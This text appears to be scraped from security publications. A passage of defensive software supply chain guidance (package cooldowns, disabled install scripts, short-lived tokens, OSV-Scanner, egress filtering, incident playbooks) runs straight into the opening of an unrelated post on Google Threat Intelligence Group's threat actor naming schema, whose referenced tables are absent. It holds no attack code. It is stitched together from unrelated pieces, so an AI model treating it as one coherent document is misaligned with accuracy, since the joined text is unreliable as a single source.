• Standardized Configuration & Change Control: Form a Change Advisory Board (CAB) to manage the rollout of all enterprise software and hardware. Ensure every modification includes a pre-deployment risk review, post-deployment monitoring, and a verified plan for recovery or backout.

• Staff Security Education: Deploy ongoing training initiatives centered on supply chain hazards, social engineering techniques, and internal procedures for reporting incidents.

• Node.js (npm/pnpm): Enforce cooldown controls by using the minimumReleaseAge configuration. Setting this value to at least 24 hours (1440 minutes) ensures that freshly published, potentially poisoned packages are quarantined until the broader security community has had time to identify and remove them. Ensure that older, unsupported package manager versions (such as legacy Yarn or pnpm versions) are modernized, as they will silently ignore these cooldown boundaries.

• Python (pip): Ensure that Python project environments do not pull dependencies directly from the public PyPI registry, which bypasses internal release-age policies and gating controls. All configurations must specify a secure, vetted private --index-url in their configuration files to ensure consistent quarantine and vetting of upstream packages.

Vendor Lifecycle Management

• Vendor Security Vetting: Conduct rigorous due diligence prior to procurement by assessing third-party security frameworks against industry standards such as ISO 27001 or SOC 2.

• Cybersecurity Provisions in Contracts: Integrate specific security mandates into vendor agreements, including strict timelines for incident notification, persistent audit rights, and clear liability terms.

• Hardware Provenance and Verification: Use supply chain tracing to confirm the integrity of components, establish methods for detecting counterfeit items, and secure the logistics of repairs and replacements.

Security Architecture and Engineering Controls

Identity and Access Management

• Automated System and Workload Identities: Transition third-party integrations and build-system processes away from static, long-lived administrative Personal Access Tokens (PATs). Instead, mandate the use of dedicated GitHub Apps or short-lived system tokens via federated OpenID Connect (OIDC) for automated machine integrations. This ensures that credentials used by system-to-system workflows expire in a matter of minutes, neutralizing the risk of a persistent compromise if an automation pipeline is breached.

• Developer and User Identity Controls (command-line interface (CLI) and Repository Access): Enforce strict access control boundaries for programmatic developer sessions. Because Okta-linked SAML SSO is only capable of verifying identity during the initial creation or authorization of personal tokens and keys, continuous session state cannot be challenged over programmatic CLI connections. Therefore, session security must be enforced through credential expiration and hardware-backed controls.

• Enforce Strict Token Expiration: Strictly limit the allowable lifespan of all personal access tokens (PATs) and programmatic application programming interface (API) keys to a minimum threshold (e.g.a maximum 7-day limit). This guarantees that credentials expire regularly, forcing developers to re-authenticate through the primary SSO gateway.

• Consider Restricting Personal Access Tokens to Neutralize Git-over-HTTPS & Mandate FIDO2 Secure Shell (SSH): To protect developer environments against credential theft, organizations should consider restricting Personal Access Tokens (PATs) globally across GitHub Enterprise Cloud. Because GHEC has no direct protocol-disable switch, administrators should consider disabling classic PATs and enforcing short token lifespans to effectively block unauthorized programmatic HTTPS connections. This protocol containment helps encourage developers to shift entirely to SSH authentication. To secure this transport layer, consider mandating the use of hardware-backed FIDO2 security keys to cryptographically verify physical token possession for all command-line repository actions.

• Isolated CI/CD Execution: Utilize ephemeral runners for build pipelines that are purged immediately after completing a single task. This prevents malicious actors from maintaining a persistent presence between different build phases.

• Workflow Trigger Governance (pull_request_target): Strictly limit and secure the use of highly privileged triggers such as pull_request_target in automated environments. Multiple prominent supply chain campaigns have actively exploited vulnerable workflows using this trigger as their initial entry vector.

Infrastructure Protection

• Zero Trust and Least Privilege: Maintain rigorous control over managed service providers (MSPs) and third-party vendors by enforcing role-based access control (RBAC), multifactor authentication (MFA), and frequent audits of access rights.

• Network Micro-Segmentation: Segregate vital hardware and software from the rest of the enterprise network. Use allow-list-only firewall rules to block unauthorized outbound traffic and disrupt command-and-control (C2) activities.

Secure Development Ecosystems

• Pipeline and Sandbox Isolation: Ensure that testing environments, CI/CD pipelines, and informal scripting sandboxes are physically or logically isolated from production assets.

• Artifact Management: To secure the supply chain, organizations can integrate Google's Assured Open Source Software into their internal workflows to defend against dependency confusion and malicious hijacking. This process provides "provenance" cryptographically signed evidence that the code has not been tampered with and originates from a verified source thereby establishing a higher level of trust for third-party dependencies.

• Quarantine Gates: Require all binaries, packages, and container images to be hosted in monitored internal repositories. To defend against zero-day dependency hijackings, implement localized "quarantine gates" by enforcing cooling windows on newly published third-party assets.

• Lifecycle Script Sandboxing (ignore-scripts): Mitigate the critical threat of arbitrary code execution by disabling the automatic running of package install scripts. Attackers commonly hijack dependencies and add malicious post-installation execution scripts to steal credentials from developer environments and runners during routine installs. Organizations should mandate ignore-scripts=true in their repository-level .npmrc files and configure native allowlists, such as pnpm's onlyBuiltDependencies, to restrict execution exclusively to verified, essential tools.

• Software Composition Analysis (SCA) with Google OSV-Scanner: Integrate Google's open source OSV-Scanner tool into CI/CD build pipelines to continuously scan project dependencies for known security flaws. This tool provides an officially supported frontend to the OSV.dev database that maps a project's list of dependencies with the specific vulnerabilities affecting them.

• High-Fidelity Vulnerability Detection: Unlike traditional scanners that rely on imprecise name matching, the OSV schema stores vulnerability data in a machine-readable format that maps unambiguously onto version ranges and commit hashes. This results in fewer false positives and produces highly actionable remediation notifications, significantly reducing development team triage overhead.

• Authoritative & Collaborative Threat Intel: The underlying OSV.dev database aggregates high-quality threat intelligence from authoritative open sources, allowing the broader developer community to suggest continuous improvements. Utilizing OSV-Scanner helps developers identify impactful third-party open source vulnerabilities in their applications and focus remediation on genuine risks.

• Hardware-Backed Key Protection: Secure code-signing certificates using Hardware Security Modules (HSMs) or vaulting solutions. Monitor public transparency ledgers and logs to detect any unauthorized certificate activity.

• Hardened Distribution Points: Audit and lock down software delivery channels, such as Content Delivery Network (CDN) endpoints and FTP servers, to ensure legitimate binaries cannot be replaced by compromised payloads.

• Audit NPM Package Maintainer Accounts for Stale or Expired Recovery Email Domains: Expired maintainer email domains are a critical risk because attackers can purchase them to intercept password reset emails, take over the package registry account, and publish malicious code to downstream users. To identify vulnerable packages, organizations can perform the following:

• Deploy automated scanning tools to audit the entire dependency tree and verify the domain name system (DNS) resolution and registration status of all maintainer email domains.

• For defense-in-depth, pipelines must disable package execution scripts and employ cold periods.

• Use by default ephemeral, single-use runners to prevent compromised packages from accessing persistent build environments. 

• Isolate runners in a restricted network segment with strict egress filtering blocks any unauthorized connection to external domains even if an active exploit is triggered.

Integration with Native Ecosystem Guardrails    

• These organization-controlled quarantine policies must operate in conjunction with native platform-level security updates to achieve a Defense-in-Depth posture. Relying solely on client-side configurations or automated update tools in isolation creates single points of failure. The following native platform controls must be orchestrated alongside standard controls:

• Dependabot Native Cooldowns (July 2026): Dependabot now enforces a default three-day cooldown on version updates to allow for the public discovery of upstream compromises (such as the historical chalk and debug hijackings) before automated Pull Requests are generated].

• PyPI Server-Side Immutability (July 2026)]: PyPI now natively rejects new file uploads to any release older than 14 days. This prevents adversaries possessing compromised tokens from retroactively poisoning legacy, pinned dependencies (as observed in the LiteLLM and Telnyx compromises) .

• npm v12 Install-Time Defaults (July 2026): npm v12 disables all lifecycle scripts by default (allowScripts: off) , replacing manual, workflow-level ignore flags with explicit, commit-verified package allow-lists 

By explicitly aligning baseline configurations including .npmrc and pip.conf registry pinning, immutable installation protocols via npm ci, and runner isolation with these native platform-level guardrails, while committing to the continuous evaluation and adoption of new upstream security features as they are released, the organization establishes a resilient, multi-layered security boundary across the entire software supply chain

Continuous Verification, Monitoring, and Response

Automated Ingestion and Validation

• Automate SBOM Management: Implement a Software Bill of Materials (SBOM) for all third-party and internal software. This enables continuous monitoring for emerging vulnerabilities like Log4j through automated cross-referencing. Automate and scale this process by feeding SBOMs into central vulnerability management platforms that continuously cross-reference deployed inventory against newly disclosed exploits.

• Security Analysis Integration: Incorporate automated dynamic application security testing (DAST) and static application security testing (SAST) tools within development pipelines to identify and block compromised third-party code before it is compiled.

• Verification of Cryptographic Integrity: Prior to installing updates, use automated systems to validate digital signatures and hashes against vendor-provided specifications.

• Implement autonomous security verification: Organizations should look to integrate advanced security workflows directly into their CI/CD pipelines. These systems can behaviorally evaluate threats by executing simulations in isolated sandboxes, cross-reference those flags with cloud context to determine a flaw's actual reach, and automatically generate tested code patches to rapidly remediate verified risks at scale.

Proactive Threat Hunting and Monitoring

• Egress and Proxy Analysis: Establish network traffic baselines to identify suspicious egress flows to external repositories or unrecognized Internet Protocol (IP) addresses.

• Comprehensive Endpoint Security: Utilize endpoint detection and response (EDR) tools across infrastructure and developer workstations to detect post-execution malicious activities from supply chain compromises.

• Log Aggregation and Alerting: Unified log management should alert on the following anomalies:

• Development Systems: Watch for unauthorized code changes, build parameter adjustments, or irregular user activity.

• CI/CD Integrity: Alert on unauthorized workflow modifications or anomalous triggers (e.g., repository_dispatch) that bypass standard code-review gates.

• Injection Detection: Monitor logs for shell-escape characters or command-substitution patterns within untrusted input variables.

• Credential Misuse: Track authentication hits on long-lived static keys from unrecognized IP addresses or regions.

• Physical Assets: Record all firmware modifications, including installation status and source information.

Incident Response Strategies

• Specific Supply Chain Playbooks: Perform tabletop exercises and document response plans for:

  • Upstream Package Takeover: Maintainer account takeover (ATO) on public registries leading to direct runtime application code manipulation

  • Dependency Confusion Exploits: Malicious registration of lapsed administrative recovery domains or unscoped internal namespaces on public registries to hijack local developer and build runner installations.

  • Automated Pipeline Harvesting: Pipeline poisoning of CI/CD environments via runner exploitation to harvest credentials and perform unauthorized package publication.

  • Developer Workstation & IDE Compromise: Targeted social engineering, malicious IDE extensions, or typosquatted local dependencies designed to exfiltrate private cryptographic keys, API tokens, and local session credentials.

• Operational Re-evaluation: Create processes for immediate vendor re-mapping and security re-assessment during industry-wide security events.

Recommendations for mitigation strategies are also available publicly via:

• Google's Supply-chain Levels for Software Artifacts (SLSA) 

• Cybersecurity Supply Chain Risk Management Practices for Systems and Organizations (NIST SP 800-161 Rev. 1) from the US National Institute of Standards and Technology (NIST)

• Securing the Software Supply Chain: Recommended Practices Guide for Developers from the US National Security Agency (NSA)

• WIZ SDLC Infrastructure Threat Framework (SITF) SDLC Infrastructure Threat Framework

Acknowledgements

This analysis would not have been possible without the assistance of Matthew McWhirt and Michael Veal.

Update (July 30): A table listing the new names of select prominent threat actors was appended to this post. 

Introduction 

Today, Google Threat Intelligence Group (GTIG) will begin rolling out a unified naming schema for tracking threat actors. This new naming taxonomy represents an effort to standardize tracking across platforms and public reporting.

Why are we Adopting a Different Naming System?

Historically, Mandiant and Google’s Threat Analysis Group (TAG) maintained distinct tracking systems, relying on parallel naming schemas that grew independently over time. The creation of GTIG has necessitated a new, fused tracking system, and a new naming system. Thinking to the future, GTIG’s new system will rely on cryptonyms. Relying on sequential numbers or disparate identifiers (e.g. APT1) fails to provide defenders the critical context needed to operate quickly. Threat tracking shouldn’t be an exercise in memorization, but rather one of intuition. The new naming convention aligns with industry standard threat actor naming systems. 

Our New Schema

Our new schema utilizes a cryptonym-based approach, employing memorable two-word combinations for each distinct threat actor:

• The first word is a unique and memorable term chosen to represent the specific actor, particularly names that may have been used in prior public reporting. If no previously used term exists, this word is randomly generated to remove bias, then vetted by our analysts.

• The second word categorizes threat clusters by motivation, attribution, or activity type based on which category we consider to be most important for defense and response strategies.

The table below provides a sample of how threat actor categories will map to the second word in each cryptonym:

Table 1: Examples of Google’s new threat actor naming system categories

We know there are many threat actor tracking schemas in the industry, so we are intentionally seeking to keep this system as simple as possible to streamline operations and facilitate mapping to other naming taxonomies. However, a significant caveat remains: because no two organizations have the exact same visibility into the threat landscape, direct, apples-to-apples comparisons between threat actors are rarely possible. Transitioning to a convention that is simpler to follow and remember is a practical step toward managing a highly intricate tracking problem. 

A Work in Progress

We have initially prioritized renaming several dozen of the most active groups, and will continue this process on a rolling basis. Previous names will remain indexed and searchable in the Google Threat Intelligence (GTI) platform, with MITRE ATT&CK mappings and other vendor aliases preserved, see Figure 1. 

We will continue to use UNC, or “uncategorized” designations for threat clusters that are still in the early stages of investigation, as described here.

Selection of Re-Named Threat Actors

Table 2: Selection of Re-named Threat Actors